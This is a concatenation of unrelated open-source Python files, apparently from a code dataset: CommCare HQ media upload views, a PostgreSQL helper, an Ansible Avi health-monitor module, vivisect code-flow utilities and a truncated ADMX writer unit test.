def dispatch(self, request, *args, **kwargs):
return super(BaseMultimediaView, self).dispatch(request, *args, **kwargs)
def get(self, request, *args, **kwargs):
return HttpResponseBadRequest("You may only post to this URL.")
def post(self, request, *args, **kwargs):
self.errors = []
response = {}
try:
self.validate_file()
response.update(self.process_upload())
except BadMediaFileException as e:
self.errors.append(e.message)
response.update({
'errors': self.errors,
})
return HttpResponse(json.dumps(response))
def validate_file(self, replace_diff_ext=False):
raise NotImplementedError("You must validate your uploaded file!")
def process_upload(self):
raise NotImplementedError("You definitely need to implement this guy.")
class ProcessBulkUploadView(BaseProcessUploadedView):
name = "hqmedia_uploader_bulk"
@property
@memoized
def uploaded_zip(self):
try:
self.uploaded_file.file.seek(0)
return zipfile.ZipFile(self.uploaded_file)
except Exception as e:
raise BadMediaFileException("There was an issue processing the zip file you provided. Error: %s" % e)
def validate_file(self, replace_diff_ext=False):
if not self.mime_type in self.valid_mime_types():
raise BadMediaFileException("Your zip file doesn't have a valid mimetype.")
if not self.uploaded_zip:
raise BadMediaFileException("There is no ZIP file.")
if self.uploaded_zip.testzip():
raise BadMediaFileException("The ZIP file provided was bad.")
def process_upload(self):
if hasattr(self.uploaded_file, 'temporary_file_path') and settings.SHARED_DRIVE_CONF.temp_dir:
processing_id = uuid.uuid4().hex
path = settings.SHARED_DRIVE_CONF.get_temp_file(suffix='.upload')
shutil.move(self.uploaded_file.temporary_file_path(), path)
status = BulkMultimediaStatusCacheNfs(processing_id, path)
status.save()
else:
self.uploaded_file.file.seek(0)
saved_file = expose_cached_download(
self.uploaded_file.file.read(),
expiry=BulkMultimediaStatusCache.cache_expiry,
file_extension=file_extention_from_filename(self.uploaded_file.name),
)
processing_id = saved_file.download_id
status = BulkMultimediaStatusCache(processing_id)
status.save()
process_bulk_upload_zip.delay(processing_id, self.domain, self.app_id,
username=self.username,
share_media=self.share_media,
license_name=self.license_used,
author=self.author,
attribution_notes=self.attribution_notes)
return status.get_response()
@classmethod
def valid_mime_types(cls):
return [
'application/zip',
'application/x-zip',
'application/octet-stream',
'application/x-zip-compressed',
]
class BaseProcessFileUploadView(BaseProcessUploadedView):
media_class = None
@property
def form_path(self):
return self.request.POST.get('path', '')
@property
def original_path(self):
return self.request.POST.get('originalPath')
@property
def file_ext(self):
def file_ext(filename):
_, extension = os.path.splitext(filename)
return extension
return file_ext(self.uploaded_file.name)
@property
def orig_ext(self):
if self.original_path is None:
return self.file_ext
return '.{}'.format(self.original_path.split('.')[-1])
def validate_file(self, replace_diff_ext=False):
def possible_extensions(filename):
possible_type = guess_type(filename)[0]
if not possible_type:
return []
return guess_all_extensions(guess_type(filename)[0])
if not self.mime_type:
raise BadMediaFileException(_("Did not process a mime type!"))
base_type = self.mime_type.split('/')[0]
if base_type not in self.valid_base_types():
raise BadMediaFileException(
_("Not a valid %s file.")
% self.media_class.get_nice_name().lower()
)
if self.file_ext.lower() not in possible_extensions(self.form_path):
raise BadMediaFileException(
_("File {name} has an incorrect file type {ext}.").format(
name=self.uploaded_file.name,
ext=self.file_ext,
)
)
if not replace_diff_ext and self.file_ext.lower() != self.orig_ext.lower():
raise BadMediaFileException(_(
"The file type of {name} of '{ext}' does not match the "
"file type of the original media file '{orig_ext}'. To change "
"file types, please upload directly from the "
"Form Builder."
).format(
name=self.uploaded_file.name,
ext=self.file_ext.lower(),
orig_ext=self.orig_ext.lower(),
))
def process_upload(self):
self.uploaded_file.file.seek(0)
self.data = self.uploaded_file.file.read()
multimedia = self.media_class.get_by_data(self.data)
multimedia.attach_data(self.data,
original_filename=self.uploaded_file.name,
username=self.username)
multimedia.add_domain(self.domain, owner=True)
if self.share_media:
multimedia.update_or_add_license(self.domain,
type=self.license_used,
author=self.author,
attribution_notes=self.attribution_notes)
self.app.create_mapping(multimedia, self.form_path)
return {
'ref': multimedia.get_media_info(self.form_path),
}
@classmethod
def valid_base_types(cls):
raise NotImplementedError("You need to specify a list of valid base mime types!")
class ProcessImageFileUploadView(BaseProcessFileUploadView):
media_class = CommCareImage
name = "hqmedia_uploader_image"
@classmethod
def valid_base_types(cls):
return ['image']
class ProcessLogoFileUploadView(ProcessImageFileUploadView):
name = "hqmedia_uploader_logo"
@method_decorator(requires_privilege_raise404(privileges.COMMCARE_LOGO_UPLOADER))
def post(self, request, *args, **kwargs):
return super(ProcessLogoFileUploadView, self).post(request, *args, **kwargs)
@property
def form_path(self):
return ("jr://file/commcare/logo/data/%s%s"
% (self.filename, self.file_ext))
def validate_file(self, replace_diff_ext=True):
return super(ProcessLogoFileUploadView, self).validate_file(replace_diff_ext)
@property
def filename(self):
return self.kwargs.get('logo_name')
def process_upload(self):
if self.app.logo_refs is None:
self.app.logo_refs = {}
ref = super(
ProcessLogoFileUploadView, self
).process_upload()
self.app.logo_refs[self.filename] = ref['ref']
self.app.save()
return ref
class ProcessAudioFileUploadView(BaseProcessFileUploadView):
media_class = CommCareAudio
name = "hqmedia_uploader_audio"
@classmethod
def valid_base_types(cls):
return ['audio']
class ProcessVideoFileUploadView(BaseProcessFileUploadView):
media_class = CommCareVideo
name = "hqmedia_uploader_video"
@classmethod
def valid_base_types(cls):
return ['video']
class ProcessTextFileUploadView(BaseProcessFileUploadView):
media_class = CommCareMultimedia
name = "hqmedia_uploader_text"
@classmethod
def valid_base_types(cls):
return ['text']
class RemoveLogoView(BaseMultimediaView):
name = "hqmedia_remove_logo"
@property
def logo_slug(self):
if self.request.method == 'POST':
return self.request.POST.get('logo_slug')
return None
@method_decorator(requires_privilege_raise404(privileges.COMMCARE_LOGO_UPLOADER))
def post(self, *args, **kwargs):
if self.logo_slug in self.app.logo_refs:
del self.app.logo_refs[self.logo_slug]
self.app.save()
return HttpResponse()
class CheckOnProcessingFile(BaseMultimediaView):
name = "hqmedia_check_processing"
def get(self, request, *args, **kwargs):
return HttpResponse("workin on it")
def iter_media_files(media_objects):
"""
take as input the output of get_media_objects
and return an iterator of (path, data) tuples for the media files
as they should show up in the .zip
as well as a list of error messages
as a side effect of implementation,
errors will not include all error messages until the iterator is exhausted
"""
errors = []
def _media_files():
for path, media in media_objects:
try:
data, _ = media.get_display_file()
folder = path.replace(MULTIMEDIA_PREFIX, "")
if not isinstance(data, unicode):
yield os.path.join(folder), data
except NameError as e:
errors.append("%(path)s produced an ERROR: %(error)s" % {
'path': path,
'error': e,
})
return _media_files(), errors
def iter_app_files(app, include_multimedia_files, include_index_files, build_profile_id=None):
file_iterator = []
errors = []
if include_multimedia_files:
app.remove_unused_mappings()
languages = None
if build_profile_id is not None:
languages = app.build_profiles[build_profile_id].langs
file_iterator, errors = iter_media_files(app.get_media_objects(languages=languages))
if include_index_files:
index_files, index_file_errors = iter_index_files(app, build_profile_id=build_profile_id)
if index_file_errors:
errors.extend(index_file_errors)
file_iterator = itertools.chain(file_iterator, index_files)
return file_iterator, errors
class DownloadMultimediaZip(View, ApplicationViewMixin):
"""
This is where the Multimedia for an application gets generated.
Expects domain and app_id to be in its args
"""
name = "download_multimedia_zip"
compress_zip = False
zip_name = 'commcare.zip'
include_multimedia_files = True
include_index_files = False
def check_before_zipping(self):
if not self.app.multimedia_map and self.include_multimedia_files:
return HttpResponse("You have no multimedia to download.")
def log_errors(self, errors):
logging.error(
"Error downloading multimedia ZIP "
"for domain %s and application %s." % (
self.domain, self.app_id)
)
return HttpResponseServerError(
"Errors were encountered while "
"retrieving media for this application.<br /> %s" % (
"<br />".join(errors))
)
def get(self, request, *args, **kwargs):
assert self.include_multimedia_files or self.include_index_files
error_response = self.check_before_zipping()
if error_response:
return error_response
message = request.GET['message'] if 'message' in request.GET else None
download = DownloadBase(message=message)
build_profile_id = None
if domain_has_privilege(request.domain, privileges.BUILD_PROFILES):
build_profile_id = request.GET.get('profile')
download.set_task(build_application_zip.delay(
include_multimedia_files=self.include_multimedia_files,
include_index_files=self.include_index_files,
app=self.app,
download_id=download.download_id,
compress_zip=self.compress_zip,
filename=self.zip_name,
build_profile_id=build_profile_id)
)
return download.get_start_response()
@method_decorator(safe_download)
def dispatch(self, request, *args, **kwargs):
return super(DownloadMultimediaZip, self).dispatch(request, *args, **kwargs)
class MultimediaUploadStatusView(View):
name = "hqmedia_upload_status"
@property
@memoized
def processing_id(self):
return self.request.POST.get('processing_id')
@method_decorator(login_required)
def dispatch(self, request, *args, **kwargs):
return super(MultimediaUploadStatusView, self).dispatch(request, *args, **kwargs)
def get(self, request, *args, **kwargs):
return HttpResponseBadRequest("Please post to this.")
def post(self, request, *args, **kwargs):
if not self.processing_id:
return HttpResponseBadRequest("A processing_id is required.")
status = BulkMultimediaStatusCache.get(self.processing_id)
if status is None:
# No status could be retrieved from the cache
fake_status = BulkMultimediaStatusCache(self.processing_id)
fake_status.complete = True
fake_status.errors.append(_('There was an issue retrieving the status from the cache. '
'We are looking into it. Please try uploading again.'))
logging.error("[Multimedia Bulk Upload] Process ID #%s encountered an issue while retrieving "
"a status from the cache." % self.processing_id)
response = fake_status.get_response()
else:
response = status.get_response()
return HttpResponse(json.dumps(response))
class ViewMultimediaFile(View):
name = "hqmedia_download"
@property
@memoized
def media_class(self):
media_type = self.kwargs.get('media_type')
try:
return CommCareMultimedia.get_doc_class(media_type)
except KeyError:
raise Http404("Could not find media of that type.")
@property
@memoized
def doc_id(self):
return self.kwargs.get('doc_id')
@property
@memoized
def multimedia(self):
try:
return self.media_class.get(self.doc_id)
except ResourceNotFound:
raise Http404("Media not found.")
@property
@memoized
def thumb(self):
thumb = self.request.GET.get('thumb')
try:
return int(thumb), int(thumb)
except Exception:
return None
def get(self, request, *args, **kwargs):
obj = CachedObject(str(self.doc_id)
+ ':' + self.kwargs.get('media_type')
+ ':' + str(self.thumb))
if not obj.is_cached():
data, content_type = self.multimedia.get_display_file()
if self.thumb:
data = CommCareImage.get_thumbnail_data(data, self.thumb)
buffer = StringIO(data)
metadata = {'content_type': content_type}
obj.cache_put(buffer, metadata, timeout=None)
else:
metadata, buffer = obj.get()
data = buffer.getvalue()
content_type = metadata['content_type']
return HttpResponse(data, content_type=content_type)
def iter_index_files(app, build_profile_id=None):
from corehq.apps.app_manager.views.download import download_index_files
skip_files = ('profile.xml', 'profile.ccpr', 'media_profile.xml')
text_extensions = ('.xml', '.ccpr', '.txt')
files = []
errors = []
def _get_name(f):
return {'media_profile.ccpr': 'profile.ccpr'}.get(f, f)
def _encode_if_unicode(s):
return s.encode('utf-8') if isinstance(s, unicode) else s
def _files(files):
for name, f in files:
if build_profile_id is not None:
name = name.replace(build_profile_id + '/', '')
if name not in skip_files:
# TODO: make RemoteApp.create_all_files not return media files
extension = os.path.splitext(name)[1]
data = _encode_if_unicode(f) if extension in text_extensions else f
yield (_get_name(name), data)
try:
files = download_index_files(app, build_profile_id)
except Exception as e:
errors = [unicode(e)]
return _files(files), errors
| bsd-3-clause |
IntersectAustralia/asvo-tao | core/PerformanceCode/WallTimeResultsMerge.py | 1 | 2770 | import pickle, os, logging,string
import pg
import locale
import time
from datetime import date
import logging
import settingReader
class DBInterface(object):
def __init__(self,Options):
self.Options=Options
self.InitDBConnection(self.Options)
self.IsOpen=False
self.QueriesCount=0
def InitDBConnection(self,Options):
####### PostgreSQL Backend Master DB #################
self.serverip=Options['PGDB:serverip']
self.username=Options['PGDB:user']
self.password=Options['PGDB:password']
self.port=int(Options['PGDB:port'])
self.DBName=Options['PGDB:NewDBName']
self.CurrentConnection=pg.connect(host=self.serverip,user=self.username,passwd=self.password,port=self.port,dbname=self.DBName)
print('Connection to DB is open...')
self.IsOpen=True
def CloseConnections(self):
if self.IsOpen==True:
self.CurrentConnection.close()
print('Connection to DB is Closed...')
self.IsOpen=False
def ExecuteNoQuerySQLStatment(self,SQLStatment):
try:
self.CurrentConnection.query(SQLStatment)
return True
except Exception as Exp:
print(">>>>>Error While Executing Non-Query SQL Statement")
print(type(Exp))
print(Exp.args)
print(Exp)
print("Current SQL Statement =\n"+SQLStatment)
return False
def ExecuteQuerySQLStatment(self,SQLStatment):
try:
resultsList=self.CurrentConnection.query(SQLStatment).getresult()
return resultsList
except Exception as Exp:
print(">>>>>Error While Executing Query SQL Statement")
print(type(Exp))
print(Exp.args)
print(Exp)
print("Current SQL Statement =\n"+SQLStatment)
def ExecuteQuerySQLStatmentAsDict(self,SQLStatment):
try:
resultsList=self.CurrentConnection.query(SQLStatment).dictresult()
return resultsList
except Exception as Exp:
print(">>>>>Error While Executing Query SQL Statement")
print(type(Exp))
print(Exp.args)
print(Exp)
print("Current SQL Statement =\n"+SQLStatment)
if __name__ == '__main__':
[Options]=settingReader.ParseParams("settings.xml")
DBConnectionObj=DBInterface(Options)
DBConnectionObj.CloseConnections() | gpl-3.0 |
switchboardOp/ansible | lib/ansible/modules/network/avi/avi_healthmonitor.py | 43 | 6595 | #!/usr/bin/python
#
# Created on Aug 25, 2016
# @author: Gaurav Rastogi (grastogi@avinetworks.com)
# Eric Anderson (eanderson@avinetworks.com)
# module_check: supported
# Avi Version: 17.1.1
#
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
ANSIBLE_METADATA = {'metadata_version': '1.0',
'status': ['preview'],
'supported_by': 'community'}
DOCUMENTATION = '''
---
module: avi_healthmonitor
author: Gaurav Rastogi (grastogi@avinetworks.com)
short_description: Module for setup of HealthMonitor Avi RESTful Object
description:
- This module is used to configure HealthMonitor object
- more examples at U(https://github.com/avinetworks/devops)
requirements: [ avisdk ]
version_added: "2.3"
options:
state:
description:
- The state that should be applied on the entity.
default: present
choices: ["absent","present"]
description:
description:
- User defined description for the object.
dns_monitor:
description:
- Healthmonitordns settings for healthmonitor.
external_monitor:
description:
- Healthmonitorexternal settings for healthmonitor.
failed_checks:
description:
- Number of continuous failed health checks before the server is marked down.
- Allowed values are 1-50.
- Default value when not specified in API or module is interpreted by Avi Controller as 2.
http_monitor:
description:
- Healthmonitorhttp settings for healthmonitor.
https_monitor:
description:
- Healthmonitorhttp settings for healthmonitor.
monitor_port:
description:
- Use this port instead of the port defined for the server in the pool.
- If the monitor succeeds to this port, the load balanced traffic will still be sent to the port of the server defined within the pool.
- Allowed values are 1-65535.
- Special values are 0 - 'use server port'.
name:
description:
- A user friendly name for this health monitor.
required: true
receive_timeout:
description:
- A valid response from the server is expected within the receive timeout window.
- This timeout must be less than the send interval.
- If server status is regularly flapping up and down, consider increasing this value.
- Allowed values are 1-300.
- Default value when not specified in API or module is interpreted by Avi Controller as 4.
send_interval:
description:
- Frequency, in seconds, that monitors are sent to a server.
- Allowed values are 1-3600.
- Default value when not specified in API or module is interpreted by Avi Controller as 10.
successful_checks:
description:
- Number of continuous successful health checks before server is marked up.
- Allowed values are 1-50.
- Default value when not specified in API or module is interpreted by Avi Controller as 2.
tcp_monitor:
description:
- Healthmonitortcp settings for healthmonitor.
tenant_ref:
description:
- It is a reference to an object of type tenant.
type:
description:
- Type of the health monitor.
- Enum options - HEALTH_MONITOR_PING, HEALTH_MONITOR_TCP, HEALTH_MONITOR_HTTP, HEALTH_MONITOR_HTTPS, HEALTH_MONITOR_EXTERNAL, HEALTH_MONITOR_UDP,
- HEALTH_MONITOR_DNS, HEALTH_MONITOR_GSLB.
required: true
udp_monitor:
description:
- Healthmonitorudp settings for healthmonitor.
url:
description:
- Avi controller URL of the object.
uuid:
description:
- Uuid of the health monitor.
extends_documentation_fragment:
- avi
'''
EXAMPLES = '''
- name: Create a HTTPS health monitor
avi_healthmonitor:
controller: 10.10.27.90
username: admin
password: AviNetworks123!
https_monitor:
http_request: HEAD / HTTP/1.0
http_response_code:
- HTTP_2XX
- HTTP_3XX
receive_timeout: 4
failed_checks: 3
send_interval: 10
successful_checks: 3
type: HEALTH_MONITOR_HTTPS
name: MyWebsite-HTTPS
'''
RETURN = '''
obj:
description: HealthMonitor (api/healthmonitor) object
returned: success, changed
type: dict
'''
from ansible.module_utils.basic import AnsibleModule
try:
from ansible.module_utils.avi import (
avi_common_argument_spec, HAS_AVI, avi_ansible_api)
except ImportError:
HAS_AVI = False
def main():
argument_specs = dict(
state=dict(default='present',
choices=['absent', 'present']),
description=dict(type='str',),
dns_monitor=dict(type='dict',),
external_monitor=dict(type='dict',),
failed_checks=dict(type='int',),
http_monitor=dict(type='dict',),
https_monitor=dict(type='dict',),
monitor_port=dict(type='int',),
name=dict(type='str', required=True),
receive_timeout=dict(type='int',),
send_interval=dict(type='int',),
successful_checks=dict(type='int',),
tcp_monitor=dict(type='dict',),
tenant_ref=dict(type='str',),
type=dict(type='str', required=True),
udp_monitor=dict(type='dict',),
url=dict(type='str',),
uuid=dict(type='str',),
)
argument_specs.update(avi_common_argument_spec())
module = AnsibleModule(
argument_spec=argument_specs, supports_check_mode=True)
if not HAS_AVI:
return module.fail_json(msg=(
'Avi python API SDK (avisdk>=17.1) is not installed. '
'For more details visit https://github.com/avinetworks/sdk.'))
return avi_ansible_api(module, 'healthmonitor',
set([]))
if __name__ == '__main__':
main()
| gpl-3.0 |
atuljain/odoo | openerp/report/render/odt2odt/__init__.py | 381 | 1085 | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
from odt2odt import parseNode
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: | agpl-3.0 |
simone-campagna/py-structparser | examples/versioning/model/model_r1.py | 1 | 3830 | #
# Copyright 2013 Simone Campagna
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
__author__ = 'Simone Campagna'
from structparser.core import *
class FileTypeEnum(EnumType):
"""Enumeration for file types:
* RAW-C: C raw file
* RAW-FORTRAN: FORTRAN raw file
* ASCII: ASCII file
"""
__items__ = ('RAW-C', 'RAW-FORTRAN', 'ASCII')
class FileType(Enum):
"""wraps the FileTypeEnum enumeration"""
__type__ = FileTypeEnum
class Params(Struct):
__fields__ = (
FieldType("alpha",
field_type=Float,
description="the alpha coefficient"),
FieldType("beta",
field_type=Float,
description="the beta coefficient"),
FieldType("order",
field_type=PositiveInt,
default=1,
description="the equation order"),
FieldType("coefficients",
field_type=FloatList(BIND.order + 1),
description="the equation coefficients"),
)
class ParamsSubFile(BaseSubFile):
__subtype__ = Params
class ExperimentalParams(Struct):
__fields__ = (
FieldType("gamma_0",
field_type=Float,
default=0.95,
description="gamma_0 coefficient"),
FieldType("gamma_1",
field_type=Float,
default=-0.95,
description="gamma_1 coefficient"),
FieldType("label",
field_type=Str,
default="exp-0",
description="label"),
)
class Dataset(Struct):
__fields__ = (
FieldType("version",
field_type=Str,
default="r1",
description="version number"),
FieldType("r1",
field_type=Int,
description="r1 value"),
FieldType("num_vars",
field_type=NonNegativeInt,
description="number of variables"),
FieldType("num_tsteps",
field_type=NonNegativeInt,
description="number of time steps"),
FieldType("spacing",
field_type=FloatList(3),
description="x, y, z spacing"),
FieldType("var_names",
field_type=StrList(BIND.num_vars),
description="name of the variables"),
FieldType("tsteps",
field_type=FloatList(BIND.num_tsteps),
description="value of the time steps"),
FieldType("file_type",
field_type=FileType,
default=FileTypeEnum.ASCII,
description="file type: {{{0}}}".format(', '.join(item.label for item in FileTypeEnum))),
FieldType("files",
field_type=PathList(BIND.num_vars * BIND.num_tsteps),
description="var data files"),
FieldType("mix_files",
field_type=PathList(BIND.num_vars ** 2),
description="mix var data files"),
FieldType("experimental_flag",
field_type=Switch,
description="enable experimental mode; it switches on/off the 'experimental_params' section"),
FieldType("experimental_params",
field_type=Switched(ExperimentalParams, BIND.experimental_flag),
description="experimental mode parameters; they all have a default value"),
FieldType("params_file",
field_type=ParamsSubFile,
description="parameters file"),
)
| apache-2.0 |
joshuahoman/vivisect | vivisect/vector.py | 7 | 6636 |
"""
A module full of utils for vectored input tracking and code
flow analysis. (when a scalpel finds something you need to be
able to figgure out how to get to it right?)
"""
import vivisect.exc as viv_exc
import vivisect.tools.graphutil as v_graphutil
import vivisect.impemu.monitor as viv_imp_monitor
import visgraph.pathcore as vg_path
from vivisect.const import *
import envi
class InputMonitor(viv_imp_monitor.EmulationMonitor):
def __init__(self):
viv_imp_monitor.EmulationMonitor.__init__(self)
self.res = []
def apicall(self, emu, op, pc, api, argv):
self.res.append( (op.va, argv) )
def getEmuAtVa(vw, va, maxhit=None):
"""
Build and run an emulator to the given virtual address
from the function entry point.
(most useful for state analysis. kinda heavy though...)
"""
fva = vw.getFunction(va)
if fva == None:
return None
cbva,cbsize,cbfva = vw.getCodeBlock(va)
fgraph = v_graphutil.buildFunctionGraph(vw, fva)
# Just take the first one off the iterator...
for path in v_graphutil.getCodePathsTo(fgraph, cbva):
emu = vw.getEmulator()
opcodes = v_graphutil.getOpsFromPath(vw, fgraph, path)
for op in opcodes:
if op.va == va:
break
emu.executeOpcode(op)
return emu
def trackImportInputs(vw, iname, maxhit=None):
"""
Works just like trackFunctionInputs but finds calls to
imports by name instead...
"""
mon = InputMonitor()
for va in vw.getImportCallers(iname):
emu = getEmuAtVa(vw, va, maxhit=maxhit)
if emu == None:
continue
# Set an emulation monitor and step over the call
emu.setEmulationMonitor(mon)
emu.stepi()
return mon.res
def trackFunctionInputs(vw, fva, maxhit=None):
"""
Find all the callers to the given function and return a list
of (callva, [ (argval, magic), ...]) tuples.
"""
mon = InputMonitor()
for va in vw.getCallers(fva):
if not vw.getFunction(va):
vw.vprint('code at 0x%.8x is not part of a function!' % va)
continue
emu = getEmuAtVa(vw, va, maxhit=maxhit)
# Set an emulation monitor and step over the call
emu.setEmulationMonitor(mon)
emu.stepi()
return mon.res
def trackArgOrigin(vw, fva, argidx):
"""
Return an input tree (visgraph path tree) of the trackable inputs
to the specified function.
Each node in the list will be a leaf node for a path leading
down toward a call to the target function. Each node will have
the following path node properties:
fva - The function
argidx - The index of the argument input with this call
cva - The address of the call (to our next) (None on root node)
argv - A list of (<val>,<magic>) tuples for the call args (None on root node)
"""
rootpath = vg_path.newPathNode(fva=fva, cva=None, trackidx=argidx, argidx=None, argv=None)
todo = [rootpath, ]
while len(todo):
path = todo.pop()
fva = vg_path.getNodeProp(path, 'fva')
trackidx = vg_path.getNodeProp(path, 'trackidx')
# Get all of our callers and their arguments to us
for callva, argv in trackFunctionInputs(vw, fva):
newfva = vw.getFunction(callva)
pargs = dict(parent=path, fva=newfva, cva=callva, argidx=trackidx, argv=argv)
newpath = vg_path.newPathNode(**pargs)
aval, amagic = argv[trackidx]
if isinstance(amagic, viv_magic.StackArg) and newfva:
vg_path.setNodeProp(newpath, 'trackidx', amagic.index)
todo.append(newpath)
return vg_path.getLeafNodes(rootpath)
def getCodeFlow(vw, cbva):
"""
Get a list of the code blocks which are known to flow
into this one. This *will* cross function boundaries.
"""
ret = []
# Get our actual xrefs
for fromva, tova, xtype, xdata in vw.getXrefsTo(cbva, REF_CODE):
xcb = vw.getCodeBlock(fromva)
if xcb != None:
ret.append(xcb)
# Lets see if the instruction before this was a fallthrough
ploc = vw.getPrevLocation(cbva)
if ploc != None:
pva, psize, ptype, pinfo = ploc
# If it's an opcode with fallthrough, count this one too...
if ptype == LOC_OP and not pinfo & envi.IF_NOFALL:
pblock = vw.getCodeBlock(pva)
if pblock != None:
ret.append(pblock)
return ret
def getCodePaths(vw, fromva, tova, trim=True):
"""
Return a list of paths, where each path is a list
of code blocks from fromva to tova.
Usage: getCodePaths(vw, <fromva>, <tova>) -> [ [frblock, ..., toblock], ...]
NOTE: "trim" causes an optimization which may not reveal *all* the paths,
but is much faster to run. It will never return no paths when there
are some, but may not return all of them... (based on path overlap)
"""
done = {}
res = []
frcb = vw.getCodeBlock(fromva)
tocb = vw.getCodeBlock(tova)
if frcb == None:
raise viv_exc.InvalidLocation(fromva)
if tocb == None:
raise viv_exc.InvalidLocation(tova)
frva = frcb[0] # For compare speed
root = vg_path.newPathNode(cb=tocb, cbva=tocb[0])
todo = [root, ]
done[tova] = tocb
cbcache = {}
while len(todo):
path = todo.pop()
cbva = vg_path.getNodeProp(path, 'cbva')
codeblocks = cbcache.get(cbva)
if codeblocks == None:
codeblocks = getCodeFlow(vw, cbva)
cbcache[cbva] = codeblocks
for cblock in codeblocks:
bva,bsize,bfva = cblock
# Don't follow loops...
if vg_path.isPathLoop(path, 'cbva', bva):
continue
# If we have been here before and it's *not* the answer,
# skip out...
if trim and done.get(bva) != None: continue
done[bva] = cblock
newpath = vg_path.newPathNode(parent=path, cb=cblock, cbva=bva)
# If this one is a match, we don't need to
# track past it. Also, put it in the results list
# so we don't have to do it later....
if bva == frva:
#res.append(newpath)
fullpath = vg_path.getPathToNode(newpath)
# We actually do it by inbound references, so reverse the result!
fullpath.reverse()
yield [vg_path.getNodeProp(path, 'cb') for path in fullpath]
else:
todo.append(newpath)
| apache-2.0 |
endlessm/chromium-browser | components/policy/tools/template_writers/writers/admx_writer_unittest.py | 3 | 25665 | #!/usr/bin/env python
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Unittests for writers.admx_writer."""
import os
import sys
import unittest
if __name__ == '__main__':
sys.path.append(os.path.join(os.path.dirname(__file__), '../../../..'))
from writers import admx_writer
from writers import xml_writer_base_unittest
from xml.dom import minidom
class AdmxWriterUnittest(xml_writer_base_unittest.XmlWriterBaseTest):
def _CreateDocumentElement(self):
dom_impl = minidom.getDOMImplementation('')
doc = dom_impl.createDocument(None, 'root', None)
return doc.documentElement
def setUp(self):
# Writer configuration. This dictionary contains parameter used by the ADMX
# Writer
config = {
'win_supported_os': 'SUPPORTED_TESTOS',
'win_supported_os_win7': 'SUPPORTED_TESTOS_2',
'win_config': {
'win': {
'reg_mandatory_key_name':
'Software\\Policies\\Test',
'reg_recommended_key_name':
'Software\\Policies\\Test\\Recommended',
'mandatory_category_path': ['test_category'],
'recommended_category_path': ['test_recommended_category'],
'category_path_strings': {
'test_category': 'TestCategory',
'test_recommended_category': 'TestCategory - recommended',
},
'namespace':
'ADMXWriter.Test.Namespace',
},
'chrome_os': {
'reg_mandatory_key_name':
'Software\\Policies\\CrOSTest',
'reg_recommended_key_name':
'Software\\Policies\\CrOSTest\\Recommended',
'mandatory_category_path': ['cros_test_category'],
'recommended_category_path': ['cros_test_recommended_category'],
'category_path_strings': {
'cros_test_category':
'CrOSTestCategory',
'cros_test_recommended_category':
'CrOSTestCategory - recommended',
},
'namespace':
'ADMXWriter.Test.Namespace.ChromeOS',
},
},
'admx_prefix': 'test_prefix',
'build': 'test_product',
}
self.writer = self._GetWriter(config)
self.writer.Init()
def _GetWriter(self, config):
return admx_writer.GetWriter(config)
def _GetKey(self):
return "Test"
def _GetCategory(self):
return "test_category"
def _GetCategoryRec(self):
return "test_recommended_category"
def _GetNamespace(self):
return "ADMXWriter.Test.Namespace"
def _GetPoliciesElement(self, doc):
node_list = doc.getElementsByTagName('policies')
self.assertTrue(node_list.length == 1)
return node_list.item(0)
def _GetCategoriesElement(self, doc):
node_list = doc.getElementsByTagName('categories')
self.assertTrue(node_list.length == 1)
return node_list.item(0)
def testEmpty(self):
self.writer.BeginTemplate()
self.writer.EndTemplate()
output = self.writer.GetTemplateText()
expected_output = (
'<?xml version="1.0" ?>\n'
'<policyDefinitions revision="1.0" schemaVersion="1.0">\n'
' <policyNamespaces>\n'
' <target namespace="' + self._GetNamespace() + '"'
' prefix="test_prefix"/>\n'
' <using namespace="Microsoft.Policies.Windows" prefix="windows"/>\n'
' </policyNamespaces>\n'
' <resources minRequiredRevision="1.0"/>\n'
' <supportedOn>\n'
' <definitions>\n'
' <definition displayName="'
'$(string.SUPPORTED_TESTOS)" name="SUPPORTED_TESTOS"/>\n'
' <definition displayName="'
'$(string.SUPPORTED_TESTOS_2)" name="SUPPORTED_TESTOS_2"/>\n'
' </definitions>\n'
' </supportedOn>\n'
' <categories>\n'
' <category displayName="$(string.' + self._GetCategory() + ')"'
' name="' + self._GetCategory() + '"/>\n'
' <category displayName="$(string.' + self._GetCategoryRec() + ')"'
' name="' + self._GetCategoryRec() + '"/>\n'
' </categories>\n'
' <policies/>\n'
'</policyDefinitions>')
self.AssertXMLEquals(output, expected_output)
def testEmptyVersion(self):
self.writer.config['version'] = '39.0.0.0'
self.writer.BeginTemplate()
self.writer.EndTemplate()
output = self.writer.GetTemplateText()
expected_output = (
'<?xml version="1.0" ?>\n'
'<policyDefinitions revision="1.0" schemaVersion="1.0">\n'
' <!--test_product version: 39.0.0.0-->\n'
' <policyNamespaces>\n'
' <target namespace="' + self._GetNamespace() + '"'
' prefix="test_prefix"/>\n'
' <using namespace="Microsoft.Policies.Windows" prefix="windows"/>\n'
' </policyNamespaces>\n'
